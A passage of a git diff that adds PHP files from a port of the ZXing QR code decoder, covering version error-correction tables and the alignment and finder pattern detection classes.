42))), + new ECBlocks(30, array(new ECB(15, 24), + new ECB(5, 25))), + new ECBlocks(28, array(new ECB(15, 15), + new ECB(10, 16))))), + new Version(21, array(6, 28, 50, 72, 94), + array( new ECBlocks(28, array(new ECB(4, 116), + new ECB(4, 117))), + new ECBlocks(26, array(new ECB(17, 42))), + new ECBlocks(28, array(new ECB(17, 22), + new ECB(6, 23))), + new ECBlocks(30, array(new ECB(19, 16), + new ECB(6, 17))))), + new Version(22, array(6, 26, 50, 74, 98), + array(new ECBlocks(28, array(new ECB(2, 111), + new ECB(7, 112))), + new ECBlocks(28, array(new ECB(17, 46))), + new ECBlocks(30, array(new ECB(7, 24), + new ECB(16, 25))), + new ECBlocks(24, array(new ECB(34, 13))))), + new Version(23, array(6, 30, 54, 78, 102), + new ECBlocks(30, array(new ECB(4, 121), + new ECB(5, 122))), + new ECBlocks(28, array(new ECB(4, 47), + new ECB(14, 48))), + new ECBlocks(30, array(new ECB(11, 24), + new ECB(14, 25))), + new ECBlocks(30, array(new ECB(16, 15), + new ECB(14, 16)))), + new Version(24, array(6, 28, 54, 80, 106), + array(new ECBlocks(30, array(new ECB(6, 117), + new ECB(4, 118))), + new ECBlocks(28, array(new ECB(6, 45), + new ECB(14, 46))), + new ECBlocks(30, array(new ECB(11, 24), + new ECB(16, 25))), + new ECBlocks(30, array(new ECB(30, 16), + new ECB(2, 17))))), + new Version(25, array(6, 32, 58, 84, 110), + array(new ECBlocks(26, array(new ECB(8, 106), + new ECB(4, 107))), + new ECBlocks(28, array(new ECB(8, 47), + new ECB(13, 48))), + new ECBlocks(30, array(new ECB(7, 24), + new ECB(22, 25))), + new ECBlocks(30, array(new ECB(22, 15), + new ECB(13, 16))))), + new Version(26, array(6, 30, 58, 86, 114), + array(new ECBlocks(28, array(new ECB(10, 114), + new ECB(2, 115))), + new ECBlocks(28, array(new ECB(19, 46), + new ECB(4, 47))), + new ECBlocks(28, array(new ECB(28, 22), + new ECB(6, 23))), + new ECBlocks(30, array(new ECB(33, 16), + new ECB(4, 17))))), + new Version(27, array(6, 34, 62, 90, 118), + array(new ECBlocks(30, array(new ECB(8, 122), + new ECB(4, 123))), + new ECBlocks(28, array(new ECB(22, 45), + new ECB(3, 46))), + new ECBlocks(30, array(new ECB(8, 23), + new ECB(26, 24))), + new ECBlocks(30, array(new ECB(12, 15), + new ECB(28, 16))))), + new Version(28, array(6, 26, 50, 74, 98, 122), + array(new ECBlocks(30, array(new ECB(3, 117), + new ECB(10, 118))), + new ECBlocks(28, array(new ECB(3, 45), + new ECB(23, 46))), + new ECBlocks(30, array(new ECB(4, 24), + new ECB(31, 25))), + new ECBlocks(30, array(new ECB(11, 15), + new ECB(31, 16))))), + new Version(29, array(6, 30, 54, 78, 102, 126), + array(new ECBlocks(30, array(new ECB(7, 116), + new ECB(7, 117))), + new ECBlocks(28, array(new ECB(21, 45), + new ECB(7, 46))), + new ECBlocks(30, array(new ECB(1, 23), + new ECB(37, 24))), + new ECBlocks(30, array(new ECB(19, 15), + new ECB(26, 16))))), + new Version(30, array(6, 26, 52, 78, 104, 130), + array(new ECBlocks(30, array(new ECB(5, 115), + new ECB(10, 116))), + new ECBlocks(28, array(new ECB(19, 47), + new ECB(10, 48))), + new ECBlocks(30, array(new ECB(15, 24), + new ECB(25, 25))), + new ECBlocks(30, array(new ECB(23, 15), + new ECB(25, 16))))), + new Version(31, array(6, 30, 56, 82, 108, 134), + array(new ECBlocks(30, array(new ECB(13, 115), + new ECB(3, 116))), + new ECBlocks(28, array(new ECB(2, 46), + new ECB(29, 47))), + new ECBlocks(30, array(new ECB(42, 24), + new ECB(1, 25))), + new ECBlocks(30, array(new ECB(23, 15), + new ECB(28, 16))))), + new Version(32, array(6, 34, 60, 86, 112, 138), + array(new ECBlocks(30, array(new ECB(17, 115))), + new ECBlocks(28, array(new ECB(10, 46), + new ECB(23, 47))), + new ECBlocks(30, array(new ECB(10, 24), + new ECB(35, 25))), + new ECBlocks(30, array(new ECB(19, 15), + new ECB(35, 16))))), + new Version(33, array(6, 30, 58, 86, 114, 142), + array(new ECBlocks(30, array(new ECB(17, 115), + new ECB(1, 116))), + new ECBlocks(28, array(new ECB(14, 46), + new ECB(21, 47))), + new ECBlocks(30, array(new ECB(29, 24), + new ECB(19, 25))), + new ECBlocks(30, array(new ECB(11, 15), + new ECB(46, 16))))), + new Version(34, array(6, 34, 62, 90, 118, 146), + array(new ECBlocks(30, array(new ECB(13, 115), + new ECB(6, 116))), + new ECBlocks(28, array(new ECB(14, 46), + new ECB(23, 47))), + new ECBlocks(30, array(new ECB(44, 24), + new ECB(7, 25))), + new ECBlocks(30, array(new ECB(59, 16), + new ECB(1, 17))))), + new Version(35, array(6, 30, 54, 78, 102, 126, 150), + array(new ECBlocks(30, array(new ECB(12, 121), + new ECB(7, 122))), + new ECBlocks(28, array(new ECB(12, 47), + new ECB(26, 48))), + new ECBlocks(30, array(new ECB(39, 24), + new ECB(14, 25))), + new ECBlocks(30, array(new ECB(22, 15), + new ECB(41, 16))))), + new Version(36, array(6, 24, 50, 76, 102, 128, 154), + array(new ECBlocks(30, array(new ECB(6, 121), + new ECB(14, 122))), + new ECBlocks(28, array(new ECB(6, 47), + new ECB(34, 48))), + new ECBlocks(30, array(new ECB(46, 24), + new ECB(10, 25))), + new ECBlocks(30, array(new ECB(2, 15), + new ECB(64, 16))))), + new Version(37, array(6, 28, 54, 80, 106, 132, 158), + array(new ECBlocks(30, array(new ECB(17, 122), + new ECB(4, 123))), + new ECBlocks(28, array(new ECB(29, 46), + new ECB(14, 47))), + new ECBlocks(30, array(new ECB(49, 24), + new ECB(10, 25))), + new ECBlocks(30, array(new ECB(24, 15), + new ECB(46, 16))))), + new Version(38, array(6, 32, 58, 84, 110, 136, 162), + array(new ECBlocks(30, array(new ECB(4, 122), + new ECB(18, 123))), + new ECBlocks(28, array(new ECB(13, 46), + new ECB(32, 47))), + new ECBlocks(30, array(new ECB(48, 24), + new ECB(14, 25))), + new ECBlocks(30, array(new ECB(42, 15), + new ECB(32, 16))))), + new Version(39, array(6, 26, 54, 82, 110, 138, 166), + array(new ECBlocks(30, array(new ECB(20, 117), + new ECB(4, 118))), + new ECBlocks(28, array(new ECB(40, 47), + new ECB(7, 48))), + new ECBlocks(30, array(new ECB(43, 24), + new ECB(22, 25))), + new ECBlocks(30, array(new ECB(10, 15), + new ECB(67, 16))))), + new Version(40, array(6, 30, 58, 86, 114, 142, 170), + array(new ECBlocks(30, array(new ECB(19, 118), + new ECB(6, 119))), + new ECBlocks(28, array(new ECB(18, 47), + new ECB(31, 48))), + new ECBlocks(30, array(new ECB(34, 24), + new ECB(34, 25))), + new ECBlocks(30, array(new ECB(20, 15), + new ECB(61, 16))))) + ); + } +} + +/** + *

    Encapsulates a set of error-correction blocks in one symbol version. Most versions will + * use blocks of differing sizes within one version, so, this encapsulates the parameters for + * each set of blocks. It also holds the number of error-correction codewords per block since it + * will be the same across all blocks within one version.

    + */ +final class ECBlocks +{ + private $ecCodewordsPerBlock; + private $ecBlocks; + + function __construct($ecCodewordsPerBlock, $ecBlocks) + { + $this->ecCodewordsPerBlock = $ecCodewordsPerBlock; + $this->ecBlocks = $ecBlocks; + } + + public function getECCodewordsPerBlock() + { + return $this->ecCodewordsPerBlock; + } + + public function getNumBlocks() + { + $total = 0; + foreach ($this->ecBlocks as $ecBlock) { + $total += $ecBlock->getCount(); + } + return $total; + } + + public function getTotalECCodewords() + { + return $this->ecCodewordsPerBlock * $this->getNumBlocks(); + } + + public function getECBlocks() + { + return $this->ecBlocks; + } +} + +/** + *

    Encapsualtes the parameters for one error-correction block in one symbol version. + * This includes the number of data codewords, and the number of times a block with these + * parameters is used consecutively in the QR code version's format.

    + */ +final class ECB +{ + private $count; + private $dataCodewords; + + function __construct($count, $dataCodewords) + { + $this->count = $count; + $this->dataCodewords = $dataCodewords; + } + + public function getCount() + { + return $this->count; + } + + public function getDataCodewords() + { + return $this->dataCodewords; + } + + +//@Override + public function toString() + { + die('Version ECB toString()'); + // return parent::$versionNumber; + } + + +} + + diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPattern.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPattern.php new file mode 100644 index 0000000..9c3091a --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPattern.php @@ -0,0 +1,65 @@ +Encapsulates an alignment pattern, which are the smaller square patterns found in + * all but the simplest QR Codes.

    + * + * @author Sean Owen + */ +final class AlignmentPattern extends ResultPoint +{ + private $estimatedModuleSize; + + public function __construct($posX, $posY, $estimatedModuleSize) + { + parent::__construct($posX, $posY); + $this->estimatedModuleSize = $estimatedModuleSize; + } + + /** + *

    Determines if this alignment pattern "about equals" an alignment pattern at the stated + * position and size -- meaning, it is at nearly the same center with nearly the same size.

    + */ + public function aboutEquals($moduleSize, $i, $j) + { + if (abs($i - $this->getY()) <= $moduleSize && abs($j - $this->getX()) <= $moduleSize) { + $moduleSizeDiff = abs($moduleSize - $this->estimatedModuleSize); + + return $moduleSizeDiff <= 1.0 || $moduleSizeDiff <= $this->estimatedModuleSize; + } + + return false; + } + + /** + * Combines this object's current estimate of a finder pattern position and module size + * with a new estimate. It returns a new {@code FinderPattern} containing an average of the two. + */ + public function combineEstimate($i, $j, $newModuleSize) + { + $combinedX = ($this->getX() + $j) / 2.0; + $combinedY = ($this->getY() + $i) / 2.0; + $combinedModuleSize = ($this->estimatedModuleSize + $newModuleSize) / 2.0; + + return new AlignmentPattern($combinedX, $combinedY, $combinedModuleSize); + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPatternFinder.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPatternFinder.php new file mode 100644 index 0000000..499c6b4 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/AlignmentPatternFinder.php @@ -0,0 +1,286 @@ +This class attempts to find alignment patterns in a QR Code. Alignment patterns look like finder + * patterns but are smaller and appear at regular intervals throughout the image.

    + * + *

    At the moment this only looks for the bottom-right alignment pattern.

    + * + *

    This is mostly a simplified copy of {@link FinderPatternFinder}. It is copied, + * pasted and stripped down here for maximum performance but does unfortunately duplicate + * some code.

    + * + *

    This class is thread-safe but not reentrant. Each thread must allocate its own object.

    + * + * @author Sean Owen + */ +final class AlignmentPatternFinder +{ + private $image; + private $possibleCenters; + private $startX; + private $startY; + private $width; + private $height; + private $moduleSize; + private $crossCheckStateCount; + private $resultPointCallback; + + /** + *

    Creates a finder that will look in a portion of the whole image.

    + * + * @param image image to search + * @param startX left column from which to start searching + * @param startY top row from which to start searching + * @param width width of region to search + * @param height height of region to search + * @param moduleSize estimated module size so far + */ + public function __construct($image, + $startX, + $startY, + $width, + $height, + $moduleSize, + $resultPointCallback) + { + $this->image = $image; + $this->possibleCenters = []; + $this->startX = $startX; + $this->startY = $startY; + $this->width = $width; + $this->height = $height; + $this->moduleSize = $moduleSize; + $this->crossCheckStateCount = []; + $this->resultPointCallback = $resultPointCallback; + } + + /** + *

    This method attempts to find the bottom-right alignment pattern in the image. It is a bit messy since + * it's pretty performance-critical and so is written to be fast foremost.

    + * + * @return {@link AlignmentPattern} if found + * @throws NotFoundException if not found + */ + public function find() + { + $startX = $this->startX; + $height = $this->height; + $maxJ = $startX + $this->width; + $middleI = $this->startY + ($height / 2); + // We are looking for black/white/black modules in 1:1:1 ratio; + // this tracks the number of black/white/black modules seen so far + $stateCount = []; + for ($iGen = 0; $iGen < $height; $iGen++) { + // Search from middle outwards + $i = $middleI + (($iGen & 0x01) == 0 ? ($iGen + 1) / 2 : -(($iGen + 1) / 2)); + $i = (int)($i); + $stateCount[0] = 0; + $stateCount[1] = 0; + $stateCount[2] = 0; + $j = $startX; + // Burn off leading white pixels before anything else; if we start in the middle of + // a white run, it doesn't make sense to count its length, since we don't know if the + // white run continued to the left of the start point + while ($j < $maxJ && !$this->image->get($j, $i)) { + $j++; + } + $currentState = 0; + while ($j < $maxJ) { + if ($this->image->get($j, $i)) { + // Black pixel + if ($currentState == 1) { // Counting black pixels + $stateCount[$currentState]++; + } else { // Counting white pixels + if ($currentState == 2) { // A winner? + if ($this->foundPatternCross($stateCount)) { // Yes + $confirmed = $this->handlePossibleCenter($stateCount, $i, $j); + if ($confirmed != null) { + return $confirmed; + } + } + $stateCount[0] = $stateCount[2]; + $stateCount[1] = 1; + $stateCount[2] = 0; + $currentState = 1; + } else { + $stateCount[++$currentState]++; + } + } + } else { // White pixel + if ($currentState == 1) { // Counting black pixels + $currentState++; + } + $stateCount[$currentState]++; + } + $j++; + } + if ($this->foundPatternCross($stateCount)) { + $confirmed = $this->handlePossibleCenter($stateCount, $i, $maxJ); + if ($confirmed != null) { + return $confirmed; + } + } + + } + + // Hmm, nothing we saw was observed and confirmed twice. If we had + // any guess at all, return it. + if (count($this->possibleCenters)) { + return $this->possibleCenters[0]; + } + + throw NotFoundException::getNotFoundInstance(); + } + + /** + * @param stateCount count of black/white/black pixels just read + * + * @return true iff the proportions of the counts is close enough to the 1/1/1 ratios + * used by alignment patterns to be considered a match + */ + private function foundPatternCross($stateCount) + { + $moduleSize = $this->moduleSize; + $maxVariance = $moduleSize / 2.0; + for ($i = 0; $i < 3; $i++) { + if (abs($moduleSize - $stateCount[$i]) >= $maxVariance) { + return false; + } + } + + return true; + } + + /** + *

    This is called when a horizontal scan finds a possible alignment pattern. It will + * cross check with a vertical scan, and if successful, will see if this pattern had been + * found on a previous horizontal scan. If so, we consider it confirmed and conclude we have + * found the alignment pattern.

    + * + * @param stateCount reading state module counts from horizontal scan + * @param i row where alignment pattern may be found + * @param j end of possible alignment pattern in row + * + * @return {@link AlignmentPattern} if we have found the same pattern twice, or null if not + */ + private function handlePossibleCenter($stateCount, $i, $j) + { + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2]; + $centerJ = $this->centerFromEnd($stateCount, $j); + $centerI = $this->crossCheckVertical($i, (int)$centerJ, 2 * $stateCount[1], $stateCountTotal); + if (!is_nan($centerI)) { + $estimatedModuleSize = (float)($stateCount[0] + $stateCount[1] + $stateCount[2]) / 3.0; + foreach ($this->possibleCenters as $center) { + // Look for about the same center and module size: + if ($center->aboutEquals($estimatedModuleSize, $centerI, $centerJ)) { + return $center->combineEstimate($centerI, $centerJ, $estimatedModuleSize); + } + } + // Hadn't found this before; save it + $point = new AlignmentPattern($centerJ, $centerI, $estimatedModuleSize); + $this->possibleCenters[] = $point; + if ($this->resultPointCallback != null) { + $this->resultPointCallback->foundPossibleResultPoint($point); + } + } + + return null; + } + + /** + * Given a count of black/white/black pixels just seen and an end position, + * figures the location of the center of this black/white/black run. + */ + private static function centerFromEnd($stateCount, $end) + { + return (float)($end - $stateCount[2]) - $stateCount[1] / 2.0; + } + + /** + *

    After a horizontal scan finds a potential alignment pattern, this method + * "cross-checks" by scanning down vertically through the center of the possible + * alignment pattern to see if the same proportion is detected.

    + * + * @param startI row where an alignment pattern was detected + * @param centerJ center of the section that appears to cross an alignment pattern + * @param maxCount maximum reasonable number of modules that should be + * observed in any reading state, based on the results of the horizontal scan + * + * @return vertical center of alignment pattern, or {@link Float#NaN} if not found + */ + private function crossCheckVertical($startI, $centerJ, $maxCount, + $originalStateCountTotal) + { + $image = $this->image; + + $maxI = $image->getHeight(); + $stateCount = $this->crossCheckStateCount; + $stateCount[0] = 0; + $stateCount[1] = 0; + $stateCount[2] = 0; + + // Start counting up from center + $i = $startI; + while ($i >= 0 && $image->get($centerJ, $i) && $stateCount[1] <= $maxCount) { + $stateCount[1]++; + $i--; + } + // If already too many modules in this state or ran off the edge: + if ($i < 0 || $stateCount[1] > $maxCount) { + return NAN; + } + while ($i >= 0 && !$image->get($centerJ, $i) && $stateCount[0] <= $maxCount) { + $stateCount[0]++; + $i--; + } + if ($stateCount[0] > $maxCount) { + return NAN; + } + + // Now also count down from center + $i = $startI + 1; + while ($i < $maxI && $image->get($centerJ, $i) && $stateCount[1] <= $maxCount) { + $stateCount[1]++; + $i++; + } + if ($i == $maxI || $stateCount[1] > $maxCount) { + return NAN; + } + while ($i < $maxI && !$image->get($centerJ, $i) && $stateCount[2] <= $maxCount) { + $stateCount[2]++; + $i++; + } + if ($stateCount[2] > $maxCount) { + return NAN; + } + + $stateCountTotal = $stateCount[0] + $stateCount[1] + $stateCount[2]; + if (5 * abs($stateCountTotal - $originalStateCountTotal) >= 2 * $originalStateCountTotal) { + return NAN; + } + + return $this->foundPatternCross($stateCount) ? $this->centerFromEnd($stateCount, $i) : NAN; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/Detector.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/Detector.php new file mode 100644 index 0000000..897dbb2 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/Detector.php @@ -0,0 +1,420 @@ +Encapsulates logic that can detect a QR Code in an image, even if the QR Code + * is rotated or skewed, or partially obscured.

    + * + * @author Sean Owen + */ +class Detector +{ + + private $image; + private $resultPointCallback; + + public function __construct($image) + { + $this->image = $image; + } + + /** + *

    Detects a QR Code in an image.

    + * + * @param hints optional hints to detector + * + * @return {@link DetectorResult} encapsulating results of detecting a QR Code + * @throws NotFoundException if QR Code cannot be found + * @throws FormatException if a QR Code cannot be decoded + */ + public final function detect($hints = null) + {/*Map*/ + + $resultPointCallback = $hints == null ? null : + $hints->get('NEED_RESULT_POINT_CALLBACK'); + /* resultPointCallback = hints == null ? null : + (ResultPointCallback) hints.get(DecodeHintType.NEED_RESULT_POINT_CALLBACK);*/ + $finder = new FinderPatternFinder($this->image, $resultPointCallback); + $info = $finder->find($hints); + + return $this->processFinderPatternInfo($info); + } + + protected final function processFinderPatternInfo($info) + { + + $topLeft = $info->getTopLeft(); + $topRight = $info->getTopRight(); + $bottomLeft = $info->getBottomLeft(); + + $moduleSize = (float)$this->calculateModuleSize($topLeft, $topRight, $bottomLeft); + if ($moduleSize < 1.0) { + throw NotFoundException::getNotFoundInstance(); + } + $dimension = (int)self::computeDimension($topLeft, $topRight, $bottomLeft, $moduleSize); + $provisionalVersion = \Zxing\Qrcode\Decoder\Version::getProvisionalVersionForDimension($dimension); + $modulesBetweenFPCenters = $provisionalVersion->getDimensionForVersion() - 7; + + $alignmentPattern = null; +// Anything above version 1 has an alignment pattern + if (count($provisionalVersion->getAlignmentPatternCenters()) > 0) { + +// Guess where a "bottom right" finder pattern would have been + $bottomRightX = $topRight->getX() - $topLeft->getX() + $bottomLeft->getX(); + $bottomRightY = $topRight->getY() - $topLeft->getY() + $bottomLeft->getY(); + +// Estimate that alignment pattern is closer by 3 modules +// from "bottom right" to known top left location + $correctionToTopLeft = 1.0 - 3.0 / (float)$modulesBetweenFPCenters; + $estAlignmentX = (int)($topLeft->getX() + $correctionToTopLeft * ($bottomRightX - $topLeft->getX())); + $estAlignmentY = (int)($topLeft->getY() + $correctionToTopLeft * ($bottomRightY - $topLeft->getY())); + +// Kind of arbitrary -- expand search radius before giving up + for ($i = 4; $i <= 16; $i <<= 1) {//?????????? + try { + $alignmentPattern = $this->findAlignmentInRegion( + $moduleSize, + $estAlignmentX, + $estAlignmentY, + (float)$i + ); + break; + } catch (NotFoundException $re) { +// try next round + } + } +// If we didn't find alignment pattern... well try anyway without it + } + + $transform = self::createTransform($topLeft, $topRight, $bottomLeft, $alignmentPattern, $dimension); + + $bits = self::sampleGrid($this->image, $transform, $dimension); + + $points = []; + if ($alignmentPattern == null) { + $points = [$bottomLeft, $topLeft, $topRight]; + } else { + // die('$points = new ResultPoint[]{bottomLeft, topLeft, topRight, alignmentPattern};'); + $points = [$bottomLeft, $topLeft, $topRight, $alignmentPattern]; + } + + return new DetectorResult($bits, $points); + } + + /** + *

    Detects a QR Code in an image.

    + * + * @return {@link DetectorResult} encapsulating results of detecting a QR Code + * @throws NotFoundException if QR Code cannot be found + * @throws FormatException if a QR Code cannot be decoded + */ + + /** + *

    Computes an average estimated module size based on estimated derived from the positions + * of the three finder patterns.

    + * + * @param topLeft detected top-left finder pattern center + * @param topRight detected top-right finder pattern center + * @param bottomLeft detected bottom-left finder pattern center + * + * @return estimated module size + */ + protected final function calculateModuleSize($topLeft, $topRight, $bottomLeft) + { +// Take the average + return ($this->calculateModuleSizeOneWay($topLeft, $topRight) + + $this->calculateModuleSizeOneWay($topLeft, $bottomLeft)) / 2.0; + } + + /** + *

    Estimates module size based on two finder patterns -- it uses + * {@link #sizeOfBlackWhiteBlackRunBothWays(int, int, int, int)} to figure the + * width of each, measuring along the axis between their centers.

    + */ + private function calculateModuleSizeOneWay($pattern, $otherPattern) + { + $moduleSizeEst1 = $this->sizeOfBlackWhiteBlackRunBothWays($pattern->getX(), + (int)$pattern->getY(), + (int)$otherPattern->getX(), + (int)$otherPattern->getY()); + $moduleSizeEst2 = $this->sizeOfBlackWhiteBlackRunBothWays((int)$otherPattern->getX(), + (int)$otherPattern->getY(), + (int)$pattern->getX(), + (int)$pattern->getY()); + if (is_nan($moduleSizeEst1)) { + return $moduleSizeEst2 / 7.0; + } + if (is_nan($moduleSizeEst2)) { + return $moduleSizeEst1 / 7.0; + } +// Average them, and divide by 7 since we've counted the width of 3 black modules, +// and 1 white and 1 black module on either side. Ergo, divide sum by 14. + return ($moduleSizeEst1 + $moduleSizeEst2) / 14.0; + } + + /** + * See {@link #sizeOfBlackWhiteBlackRun(int, int, int, int)}; computes the total width of + * a finder pattern by looking for a black-white-black run from the center in the direction + * of another po$(another finder pattern center), and in the opposite direction too.

    + */ + private function sizeOfBlackWhiteBlackRunBothWays($fromX, $fromY, $toX, $toY) + { + + $result = $this->sizeOfBlackWhiteBlackRun($fromX, $fromY, $toX, $toY); + +// Now count other way -- don't run off image though of course + $scale = 1.0; + $otherToX = $fromX - ($toX - $fromX); + if ($otherToX < 0) { + $scale = (float)$fromX / (float)($fromX - $otherToX); + $otherToX = 0; + } else if ($otherToX >= $this->image->getWidth()) { + $scale = (float)($this->image->getWidth() - 1 - $fromX) / (float)($otherToX - $fromX); + $otherToX = $this->image->getWidth() - 1; + } + $otherToY = (int)($fromY - ($toY - $fromY) * $scale); + + $scale = 1.0; + if ($otherToY < 0) { + $scale = (float)$fromY / (float)($fromY - $otherToY); + $otherToY = 0; + } else if ($otherToY >= $this->image->getHeight()) { + $scale = (float)($this->image->getHeight() - 1 - $fromY) / (float)($otherToY - $fromY); + $otherToY = $this->image->getHeight() - 1; + } + $otherToX = (int)($fromX + ($otherToX - $fromX) * $scale); + + $result += $this->sizeOfBlackWhiteBlackRun($fromX, $fromY, $otherToX, $otherToY); + +// Middle pixel is double-counted this way; subtract 1 + return $result - 1.0; + } + + /** + *

    This method traces a line from a po$in the image, in the direction towards another point. + * It begins in a black region, and keeps going until it finds white, then black, then white again. + * It reports the distance from the start to this point.

    + * + *

    This is used when figuring out how wide a finder pattern is, when the finder pattern + * may be skewed or rotated.

    + */ + private function sizeOfBlackWhiteBlackRun($fromX, $fromY, $toX, $toY) + { +// Mild variant of Bresenham's algorithm; +// see http://en.wikipedia.org/wiki/Bresenham's_line_algorithm + $steep = abs($toY - $fromY) > abs($toX - $fromX); + if ($steep) { + $temp = $fromX; + $fromX = $fromY; + $fromY = $temp; + $temp = $toX; + $toX = $toY; + $toY = $temp; + } + + $dx = abs($toX - $fromX); + $dy = abs($toY - $fromY); + $error = -$dx / 2; + $xstep = $fromX < $toX ? 1 : -1; + $ystep = $fromY < $toY ? 1 : -1; + +// In black pixels, looking for white, first or second time. + $state = 0; +// Loop up until x == toX, but not beyond + $xLimit = $toX + $xstep; + for ($x = $fromX, $y = $fromY; $x != $xLimit; $x += $xstep) { + $realX = $steep ? $y : $x; + $realY = $steep ? $x : $y; + +// Does current pixel mean we have moved white to black or vice versa? +// Scanning black in state 0,2 and white in state 1, so if we find the wrong +// color, advance to next state or end if we are in state 2 already + if (($state == 1) == $this->image->get($realX, $realY)) { + if ($state == 2) { + return MathUtils::distance($x, $y, $fromX, $fromY); + } + $state++; + } + + $error += $dy; + if ($error > 0) { + if ($y == $toY) { + break; + } + $y += $ystep; + $error -= $dx; + } + } +// Found black-white-black; give the benefit of the doubt that the next pixel outside the image +// is "white" so this last po$at (toX+xStep,toY) is the right ending. This is really a +// small approximation; (toX+xStep,toY+yStep) might be really correct. Ignore this. + if ($state == 2) { + return MathUtils::distance($toX + $xstep, $toY, $fromX, $fromY); + } + +// else we didn't find even black-white-black; no estimate is really possible + return NAN; + } + + /** + *

    Computes the dimension (number of modules on a size) of the QR Code based on the position + * of the finder patterns and estimated module size.

    + */ + private static function computeDimension($topLeft, + $topRight, + $bottomLeft, + $moduleSize) + { + $tltrCentersDimension = MathUtils::round(ResultPoint::distance($topLeft, $topRight) / $moduleSize); + $tlblCentersDimension = MathUtils::round(ResultPoint::distance($topLeft, $bottomLeft) / $moduleSize); + $dimension = (($tltrCentersDimension + $tlblCentersDimension) / 2) + 7; + switch ($dimension & 0x03) { // mod 4 + case 0: + $dimension++; + break; +// 1? do nothing + case 2: + $dimension--; + break; + case 3: + throw NotFoundException::getNotFoundInstance(); + } + + return $dimension; + } + + /** + *

    Attempts to locate an alignment pattern in a limited region of the image, which is + * guessed to contain it. This method uses {@link AlignmentPattern}.

    + * + * @param overallEstModuleSize estimated module size so far + * @param estAlignmentX x coordinate of center of area probably containing alignment pattern + * @param estAlignmentY y coordinate of above + * @param allowanceFactor number of pixels in all directions to search from the center + * + * @return {@link AlignmentPattern} if found, or null otherwise + * @throws NotFoundException if an unexpected error occurs during detection + */ + protected final function findAlignmentInRegion($overallEstModuleSize, + $estAlignmentX, + $estAlignmentY, + $allowanceFactor) + { +// Look for an alignment pattern (3 modules in size) around where it +// should be + $allowance = (int)($allowanceFactor * $overallEstModuleSize); + $alignmentAreaLeftX = max(0, $estAlignmentX - $allowance); + $alignmentAreaRightX = min($this->image->getWidth() - 1, $estAlignmentX + $allowance); + if ($alignmentAreaRightX - $alignmentAreaLeftX < $overallEstModuleSize * 3) { + throw NotFoundException::getNotFoundInstance(); + } + + $alignmentAreaTopY = max(0, $estAlignmentY - $allowance); + $alignmentAreaBottomY = min($this->image->getHeight() - 1, $estAlignmentY + $allowance); + if ($alignmentAreaBottomY - $alignmentAreaTopY < $overallEstModuleSize * 3) { + throw NotFoundException::getNotFoundInstance(); + } + + $alignmentFinder = + new AlignmentPatternFinder( + $this->image, + $alignmentAreaLeftX, + $alignmentAreaTopY, + $alignmentAreaRightX - $alignmentAreaLeftX, + $alignmentAreaBottomY - $alignmentAreaTopY, + $overallEstModuleSize, + $this->resultPointCallback); + + return $alignmentFinder->find(); + } + + private static function createTransform($topLeft, + $topRight, + $bottomLeft, + $alignmentPattern, + $dimension) + { + $dimMinusThree = (float)$dimension - 3.5; + $bottomRightX = 0.0; + $bottomRightY = 0.0; + $sourceBottomRightX = 0.0; + $sourceBottomRightY = 0.0; + if ($alignmentPattern != null) { + $bottomRightX = $alignmentPattern->getX(); + $bottomRightY = $alignmentPattern->getY(); + $sourceBottomRightX = $dimMinusThree - 3.0; + $sourceBottomRightY = $sourceBottomRightX; + } else { +// Don't have an alignment pattern, just make up the bottom-right point + $bottomRightX = ($topRight->getX() - $topLeft->getX()) + $bottomLeft->getX(); + $bottomRightY = ($topRight->getY() - $topLeft->getY()) + $bottomLeft->getY(); + $sourceBottomRightX = $dimMinusThree; + $sourceBottomRightY = $dimMinusThree; + } + + return PerspectiveTransform::quadrilateralToQuadrilateral( + 3.5, + 3.5, + $dimMinusThree, + 3.5, + $sourceBottomRightX, + $sourceBottomRightY, + 3.5, + $dimMinusThree, + $topLeft->getX(), + $topLeft->getY(), + $topRight->getX(), + $topRight->getY(), + $bottomRightX, + $bottomRightY, + $bottomLeft->getX(), + $bottomLeft->getY()); + } + + private static function sampleGrid($image, $transform, + $dimension) + { + $sampler = GridSampler::getInstance(); + + return $sampler->sampleGrid_($image, $dimension, $dimension, $transform); + } + + protected final function getImage() + { + return $this->image; + } + + protected final function getResultPointCallback() + { + return $this->resultPointCallback; + } +} diff --git a/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPattern.php b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPattern.php new file mode 100644 index 0000000..ac93d38 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Qrcode/Detector/FinderPattern.php @@ -0,0 +1,86 @@ +Encapsulates a finder pattern, which are the three square patterns found in + * the corners of QR Codes. It also encapsulates a count of similar finder patterns, + * as a convenience to the finder's bookkeeping.

    + * + * @author Sean Owen + */ +final class FinderPattern extends ResultPoint +{ + private $estimatedModuleSize; + private $count; + + public function __construct($posX, $posY, $estimatedModuleSize, $count = 1) + { + parent::__construct($posX, $posY); + $this->estimatedModuleSize = $estimatedModuleSize; + $this->count = $count; + } + + public function getEstimatedModuleSize() + { + return $this->estimatedModuleSize; + } + + public function getCount() + { + return $this->count; + } + + /* + void incrementCount() { + this.count++; + } + */ + + /** + *

    Determines if this finder pattern "about equals" a finder pattern at the stated + * position and size -- meaning, it is at nearly the same center with nearly the same size.

